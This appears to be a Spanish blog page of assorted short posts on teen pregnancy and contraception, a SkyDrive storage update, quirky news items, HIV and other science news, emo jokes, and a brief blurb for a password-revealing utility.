El embarazo en las adolescentes se ha convertido en seria preocupación para varios sectores sociales desde hacen ya unos 30 años. Para la salud, por la mayor incidencia de resultados desfavorables o por las implicancias del aborto. En lo psicosocial, por las consecuencias adversas que el hecho tiene sobre la adolescente y sus familiares.
Cuando la adolescente se embaraza inicia un complejo
proceso de toma de decisiones y, hasta decidirse por uno, aparece siempre el aborto a veces como un supuesto más teórico que real.
el embarazo en ellos es considerado como una situación problemática por los sectores involucrados pero, si se considera al embarazo en la adolescente como un "problema", ello limita su
análisis. En todo caso, esta "problematización" se aplicaría a algunas subculturas o a algunos estratos sociales, pero no a todos los embarazos en adolescentes. Además, el considerarlo un "proble-ma", exige aplicar terapéuticas que aporten soluciones sin permitir implementar acciones preventivas adecuadas. Por ello es conveniente encuadrarlo dentro del marco de la "salud integral del adolescente". Esto permite abarcar todos los embarazos que ocurran a esta edad; adecuar las acciones preventivas dentro de la promoción de la salud; brindar asistencia integral a cada madre adolescente, a sus hijos y parejas y aportar elementos para el desarrollo de las potencialidades de los adolescentes.
Por todo ello, el embarazo en adolescentes necesita un abordaje integral biopsicosocial por un equipo interdisciplinario capacitado en la
atención de adolescentes y en este aspecto específico de la maternidad – paternidad.
Medidas de prevención de un embarazo no deseado
Métodos anticonceptivos
Un método anticonceptivo es una metodología que impide o reduce la posibilidad de que ocurra la fecundación o el embarazo al mantener relaciones sexuales. Por lo general implica acciones, dispositivos o medicamentos en las que cada uno tiene su nivel de efectividad. También se le llama contracepción o anticoncepción, en el sentido de ser formas de control de la natalidad.
Tipos de métodos anticonceptivos
Métodos de barrera
Preservativo. Tiene una versión femenina y una masculina
Diafragma. Una variedad más pequeña de éste es el capuchón cervical.
Lea Contraceptivum. Un tamaño, él permanece en lugar debido a la succión.
Métodos químicos y hormonales
Espermicidas. Los espermicidas son productos químicos (por lo general, nonoxinol-9) que desactivan o matan a los espermatozoides.
La
anticoncepción hormonal se puede aplicar de diversas formas.
Vía oral, por la
píldora anticonceptiva
Anticonceptivo subdérmico Implante compuesto por una varilla del tamaño de un cerillo que se coloca por debajo de la piel del brazo de la mujer, ofreciendo protección anticonceptiva por tres años sin ser definitivo, el médico que ha recibido capacitación puede retirarlo en cualquier momento retornando la mujer en un tiempo mínimo a la fertilidad.
Anillo vaginal Único de administración vaginal mensual. Es el método más innovador en anticoncepción femenina: un anillo transparente, suave y flexible que se coloca por la misma usuaria por vía vaginal liberando diariamente las dosis más bajas de hormonas.

Recomendaciones

Realizar las relaciones sexuales a una edad madura.
Utilizar condón
Estar informados
Hacerse la prueba para ver si están infectados (los que tienen vida sexual activa)
Procurar no ser muy activos sexualmente
Conocer a tu pareja
Platicar con alguien con experiencia

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25GB de almacenamiento gratis con Windows Live SkyDrive


Windows Live SkyDrive (anteriormente llamado Windows Live Folders) es un disco duro virtual que nos permite almacenar, acceder y compartir archivos online con los amigos.

Hasta el momento, el límite de capacidad de almacenamiento es de 5GB, pero el equipo de skydrive ha publicado en su blog que la próxima semana incrementarán el límite a 25GB, además de proporcionarnos mayor control sobre nuestros archivos (documentos, fotos, videos caseros y todo lo que almacenemos).

Entre las nuevas herramientas se encuentran:

  • Descargar fotos directamente a tu Windows Live Photo Gallery
  • Descargar como archivo .zip. folder completos (inicialmente sólo disponible en USA, Dinamarca e Irlanda).
  • Mover archivos entre carpetas
  • Copiar archivos a múltiples carpetas, y más

Enlace | SkyDrive

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Presentacion

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Desastres Aereos
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SE ESCAPÓ DE LA CÁRCEL POR CORREO

SE ESCAPÓ DE LA CÁRCEL POR CORREO

Un interno logró fugar de la prisión mandándose por correo hacia la libertad.

Hans Lang, de 42 años, purgaba una pena por tráfico de drogas. Según explicaron fuentes policiales se metió en una caja que fue despachada por el correo privado FedEx, lógicamente, hacia el mundo exterior.

Esos grandes paquetes contienen normalmente ropa sucia en grandes cantidades. Esta vez, con el hombre dentro, fue cargada a un camión y de allí a través de las puertas de la prisión de Willich, cerca de Dusseldorf. En algún lugar de la marcha el hombre se bajó del vehículo y desapareció.

Su ausencia fue descubierta recién cuando el camionero se encontró con la caja abierta y las puertas del camión forzadas desde dentro. Un vocero de la policía -que todavía busca al creativo escapista- explicó que "éste es el tipo de cosas que la gente piensa que pasan en las películas".

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Elysia chlorotica, el animal-planta.

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La Elysia chlorotica es un caracol marino que se alimenta de algas, pero a medida que descompone estas su metabolismo preserva las estructuras fotosintéticas, llamadas plástidos, para posteriormente trasladarlas hasta la superficie de su cuerpo, donde pueden proseguir realizando la fosíntesis.

Ello significa que el caracol puede realizar la fotosíntesis como las plantas, a pesar de ser un animal.

Los plástidos funcionaban en el caracol durante meses, después de haber sido extraídos de las algas. Pero los plástidos no funcionan normalmente por sus propios medios. Necesitan de la ayuda de unas proteínas que son codificados por los genes en el ADN de las algas. ¿Sería posible que el caracol produjese esas proteínas para los plástidos?

Investigando el caracol los científicos descubrieron en el mismo a un gen crucial en la fotosíntesis, llamado psbO, cuya secuencia era idéntica al de la especie de alga que le provee de sus plástidos.

Un claro ejemplo de transferencia de genes.

Vía El blog de Maikelnai

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Adios a las canas.

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Un equipo de científicos cree haber descubierto la manera de revertir el proceso de encanecimiento del cabello asociado a enfermedades o estrés extremo.

Investigadores de la Universidad de Manchester en el Reino Unido, y de la Universidad de Lubeck, en Alemania, han conseguido estimular el pigmento que da color al cabello.

Para ello los investigadores emplearon una molécula denominada K(D)PT, muy similar a la melanina, la hormona que estimula el pigmento que da color al cabello y la piel.

Descubrieron que, una vez tratados con K(D)PT, la cantidad de melanina en los folículos se incrementaba significativamente, aunque aún se desconoce si podrá ser utilizada para restaurar el color del cabello en su totalidad.

La técnica aún debe ser puesta a prueba en seres humanos y por el momento no podrá revertir el proceso natural de encanecimiento.
Artículo publicado por BBCMundo.

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Proverbio ruso

El hombre que hace su fortuna en un año debería ser ahorcado doce meses antes.

(Proverbio ruso)

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Nosotros los mexicanos

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Médico revela cómo curó el sida a un hombre con médula ósea

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BERLÍN, Alemania(EFE)

La clínica universitaria de la Charité de Berlín ha conseguido curar el sida a un paciente enfermo de leucemia al que intencionalmente trasplantaron la médula de un donante inmune al virus VIH, en un proceso cuyos pormenores presentó hoy el artífice del innovador tratamiento, el hematólogo Gero Hütter.

El equipo encargado del paciente, un varón estadounidense de 42 años, preseleccionó a unos 80 posibles donantes de médula en busca de uno que fuera inmune al virus, algo que ocurre en entre un uno y un tres por ciento de los europeos.

Tras realizar más de sesenta análisis el equipo médico dio con el candidato ideal, que presentaba una mutación genética natural, conocida como delta 32 CCR5 y que, si se hereda de ambos progenitores, inmuniza frente a la mayoría de cepas del virus.

El trasplante de médula de ese donante ha conseguido que el paciente superara la leucemia y lleve casi dos años sin anticuerpos del VIH ni en la sangre ni en los órganos vitales, algo inédito en el campo de la medicina hasta ahora.

"Escogimos a ese donante con la esperanza de que con el trasplante de sus células medulares podríamos, al mismo tiempo, eliminar la infección de VIH", señaló Hütter.

El director de medicina clínica de Hematología y Oncología del hospital, Eckhard Thielm aseguró hoy en una rueda de prensa que ese procedimiento supone un "éxito para la ciencia" y un "acontecimiento médico" pero afirmó que queda "un largo camino" para saber si de ese tratamiento se puede obtener una cura para el sida.

"Puede que dé resultado en algún momento en el futuro y si tenemos mucha suerte", explicó Thielm.

Hütter, de 39 años, relató que conocía la existencia de esa mutación genética natural, que fue descubierta hace más de diez años, y decidió aplicar esos conocimientos a este paciente en concreto.

Al hombre, que vive en Berlín, se le diagnosticó el VIH hace más de diez años y llevaba tres años de tratamiento contra la leucemia cuando los médicos de la Charité decidieron someterlo al trasplante de médula.

Sin embargo, el médico quiso "minimizar las falsas esperanzas" despertadas por el éxito de la Charité, del que se han hecho ya eco algunas revistas especializadas, puesto que se ha conseguido en un caso "muy concreto" y durante el tratamiento de otra enfermedad grave.

El hematólogo destacó que lo más importante del caso es el "mensaje psicológico" que supone para los enfermos de sida de cara las nuevas posibilidades de investigación que se abren para esa dolencia.

Hütter explicó que el hospital ha tardado en dar a conocer el caso, que difundió hoy en Alemania el popular diario "Bild" en su portada, para estar seguros de que los anticuerpos del VIH no se hubieran reproducido en los órganos del paciente, algo que es habitual pasado un tiempo.

No obstante, el responsable de medicina clínica de Infecciología del hospital, Thomas Schneider, advirtió que pese a los más de 600 días transcurridos desde la operación "no se puede tener una certeza del cien por cien de que la enfermedad no vaya a resurgir".

El vicedecano de Investigación de la Charité, Rudolf Trauber, calificó de "poco serios" a quienes, a raíz de este procedimiento, "prometan la curación" a los millones de personas infectadas de VIH.

Admitió que ante la propuesta de Hütter, la dirección se mostró "escéptica" por la falta de garantías del novedoso procedimiento y destacó que encontrar a un donante inmune entre la muestra de ochenta personas seleccionadas fue "una casualidad muy feliz".

"Si no lo hubiéramos encontrado, habríamos tenido que seguir el procedimiento convencional, porque el paciente no tenía más tiempo, si queríamos curarle la leucemia, que era nuestra prioridad al fin y al cabo", apuntó Hütter.

Señaló también que en los casos convencionales, se considera que un enfermo de leucemia está curado si después de cinco años no presenta células cancerígenas pero añadió que ante este caso "especial" no se aplican las normas habituales.

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ASALTO A LAS BUENAS COSTUMBRES

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ASALTO A LAS BUENAS COSTUMBRES

Una mujer denunció que su casa había sido robada. Su hija después admitió que el desastre lo causó ella buscando una bikini.

Una señora reportó un robo en su domicilio. Todo parecía indicar que su casa en Rheydt, Alemania, había sido puesta patas para arriba por vándalos en busca de algo de valor. Sin embargo su hija Sylvia Riegler, de 16 años, confesó a los detectives -mientras trataban de establecer cómo habían entrado los malvivientes- que había sido ella buscando su traje de baño.

Un vocero de la policía explicó que "parecía un clásico atraco cuando llegamos. Adornos rotos, cajones vaciados, muebles volteados o con todos sus cajones abiertos. Era un caos. Lo único que no quedaba claro era cómo habían entrado sin forzar la puerta". La adolescente comentó que "es cierto que soy un poco desprolija pero realmente no me di cuenta que había causado semejante desorden".

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Crean células que matan el virus del Sida.

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Un equipo de investigadores ha creado un tipo de células capaz de vender a los mecanismos de defensa del Virus de Inmunodeficienca Humana (VIH) que provoca el SIDA.

Según publica la revista "Nature Medicine", creadas en el Reino Unido por investigadores estadounidenses, las células manipuladas son además capaces de reconocer el virus en su complejo proceso de mutaciones.

La mayor parte de los virus pueden ser eliminados por las defensas del propio cuerpo, en parte debido a las "células-T asesinas", que aprenden a reconocer al intruso y a eliminarlo. Sin embargo, el poder del VIH se origina en su habilidad para mutar rápidamente para evitar ser detectado y destruido.

Los investigadores han logrado crear células-T optimizadas que tienen la habilidad de reconocer y atacar a más de estas formas mutadas, ya que han agregado más versiones de la "célula-T receptora" que han sido programada para identificar varias mutaciones del virus.

Las primeras pruebas con portadores del VIH en estado avanzado podrían empezar el año que viene.

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LIVING GRATINADO

LIVING GRATINADO

Un artista ha cubierto de queso muebles, lámparas, cortinas, cuadros y hasta todo un living. Pero eso no es todo.

¿Se imagina una habitación completa -con todos sus elementos, incluidos techo, paredes, alfombra- cubierta de queso? Si cree que la vista puede ser de lo más apetitosa sepa que es un tema para el debate. Cosimo Cavallaro es un respetado director de comerciales que desde su más temprana juventud da rienda suelta a su instinto de bañar cosas en queso. Y ha creado efectos notables en muebles y prendas de vestir.

Pero como no sólo de queso vive el hombre.... no podía faltar el jamón. Una imagen preocupante es la de la Cama de Jamón. Y de postre -siempre y cuando ningún invitado de vísceras inquietas haya puesto sus nalgas primero- el hermoso sillón de caramelo.

No se pierda los pormenores de las grasientas páginas de La habitación del queso.

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LA CERVEZA SANADORA

LA CERVEZA SANADORA

En el laboratorio de la universidad un grupo de jóvenes desarrolla una cerveza que podría combatir las enfermedades del corazón, el cáncer y la diabetes.

Thomas Segall-Shapiro, un estudiante de la Universidad Rice en Estados Unidos, con tan solo 20 años trabaja en este proyecto que empezó como un chiste y demostró no serlo: desarrollar una cerveza sanadora. Al parecer, la levadura de la cerveza modificada genéticamente para producir resveratrol podría combatir las enfermedades del corazón, la diabetes y hasta prevenir el cáncer.

El producto en el que se hallan trabajando se llama "BioBeer", luego de que decidieran darle un nombre más comercial que el original "Frankenbeer". Si bien todavía no la han desarrollado como bebida que pueda ser comercializada, lo cierto es que sólo el mayor de los integrantes del equipo tiene edad legal para beberla.

Cuando les preguntaron por qué cerveza la respuesta de Taylor Stevenson, miembro del equipo, no se hizo esperar: por año los americanos consumen 80 litros de cerveza per cápita. Mientras que para el vino el número es de 9 litros y medio.

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Cumbia metalera

Hablando de estas clases o tribus urbanas, me tope con unos metaleros cumbieros, aqui su freeaky song.

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Frases emo

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  1. Siempre que trato de ahogar mis penas en alcohol, el alcohol trata de ahogarme a mí.
  2. Siempre que juego pacman me dice: GAME OVER.
  3. Rexona me abandona.
  4. Siempre que voy al baño no hay papel.
  5. Yo siempre creo en el amor, pero el amor nunca cree en mí.
  6. Cuando fumo el cigarro de apaga.
  7. Cada vez que tomo un taxi… va ocupado.
  8. Mi sombra me cambio por la de mi perro.
  9. Los “EMOS” no me quieren.
  10. Cuando duermo sueño que tengo amigos.
  11. “El día que nací se murieron todas la flores”.
  12. Cuando voy al McDonals mi cajita feliz se deprime.
  13. El amor es como una paloma, viene, caga y se va.
  14. Bob esponja no quiere ser mi amigo.
  15. Siempre que salgo en sol se oculta.
  16. La NASA me abandono en el desierto.
  17. Mi padrino mágico se suicido.
  18. Las abejas dicen que no vale la pena morir por mí.
  19. Una vez soñé que me conectaba al MSN y me hablaban todos.
  20. Los fantasmas dicen que no existo.
  21. La gente me dice que busque una novia en el Ares, y cuando busco no conecta.
  22. El antivirus me detectó como amenaza.
  23. Mi mama me quiere… “como amigo”.
  24. Cuando juego a las escondidas nadie me busca.

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Passwords






Cuando una contraseña aparece en la pantalla como serie de asteriscos o de puntos, usted simplemente la ve través de la lupa de SeePassword para revelar el texto real de la contraseña. SeePassword no tiene ningún problema con las contraseñas almacenadas por el Internet Explorer -- todos los sitios rendirán sus secretos. SeePassword provee de usuarios una herramienta fácilmente aplicada de la recuperación para las contraseñas olvidadas.



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CIENCIA Y TECNOLOGIA

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CIENCIA Y TECNOLOGIA
Es Sony la marca más amada en México
Dan sentencia a 'hacker' que atacó a la NASA
Llega a México red social para profesionales
Kyocera desarrolla plataforma para móviles
Creará México museos submarinos

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VENDÍA GRANADAS POR E-BAY

VENDÍA GRANADAS POR E-BAY

Armas prohibidas, misiles y granadas son algunas de las cosas que vendía por Internet.

David Sampson, de 42 años de edad, fue sentenciado a cinco de prisión por vender armamento en el conocido sitio de remates por Internet E-Bay. Según Charles MacDonald, el juez de la Corte de Maidstone, "éstas son armas inusuales, prohibidas y halladas en circunstancias que no fueron explicadas. El sospechoso además no mostró arrepentimiento y se comportó en forma arrogante'.

Sampson que había vendido legítimamente armas desactivadas desde su hogar en Sittingbourne contaba en su arsenal con 750 armas ilegítimas que incluían pistolas con silenciador y granadas. Entre sus pertenencias hallaron también una Luger alemana de la Primera Guerra Mundial, reliquias de la armería belga y otros equipos prohibidos por el Acta de Armas de Fuego de 1968.

Sin dudas la estrella de la colección era el imponente misil anti
-tanques ruso de un metro de largo de uso documentado en Iraq y Afganistán.

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Un método natural para almacenar el CO2.

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Un par de investigadores estadounidenses proponen un mecanismo que podría acelerar la absorción natural de Anhídrido Carbónico.

Peter B. Kelemen y Jürg Matter, de la Universidad de Columbia (Nueva York, EEUU), han estudiado los procesos de carbonatación de una parte del manto interno de la Tierra que se encuentra expuesto al exterior en una zona del Sultanato de Omán llamada Samail.

En dicho lugar la formación de peridotita, una roca que se forma allí de manera natural, supone la absorción de un buen número de toneladas de CO2.

El problema reside en que la formación de dicho tipo de rocas necesita de miles de años, aunque los investigadores han descubierto que la carbonatación de la peridotita puede ser acelerada mediante la perforación de la corteza, la fractura hidráulica, la inyección de CO2 purificado a altas presiones o aumentando la temperatura en las capas profundas".

Las conclusiones de su estudio, que han sido publicadas en la revista "Proceedings of the National Academy of Sciences", sostienen que la carbonatación de peridotita podría secuestrar más de 1.000 millones de toneladas de CO2 cada año sólo en el estrato estudiado en Omán.

Una considerable cifra, que supone más del doble de las emisiones de CO2 que produce anualmente un país como MEXICO

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Noticias

Un dia normal en mi querida Tijuana, un cafecito rico y a darle a la chamba. Buenos dias...todo amaneció normal...

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ME PUSE UN SUPER-NOMBRE


Un adolescente cambió su nombre a "Fantástico Más Rápido Que Superman El Hombre Araña Batman Wolverine Hulk y Flash Combinados".
"Fantastic Faster Than Superman Spiderman Batman Wolverine Hulk And The Flash Combined" solía llamarse George Garratt. Ahora, con 19 años, tiene un nombre más original. Y más largo. El trámite de cambio de nombre sólo le costó 16 dólares y lo realizó cómodamente por Internet.El joven, graduado en Música, explicó que "quería ser único. Decidí llamarme con un tema de superhéroes". Así se sumó a las filas de las personas con nombres inusualmente largos como el caso de Rhoshandiatellyneshiaunneveshenk Koyaanisquatsiuth Williams, una niña nacida en Texas en 1984.El joven británico agregó que si bien él considera que haberse puesto ese nombre tiene toda la onda su abuela le retiró la palabra.Meses atrás una pareja había sido multada por haber registrado a su hijo como "Brfxxccxxmnpcccclllmmnprxvclmnckssqlbb11116".

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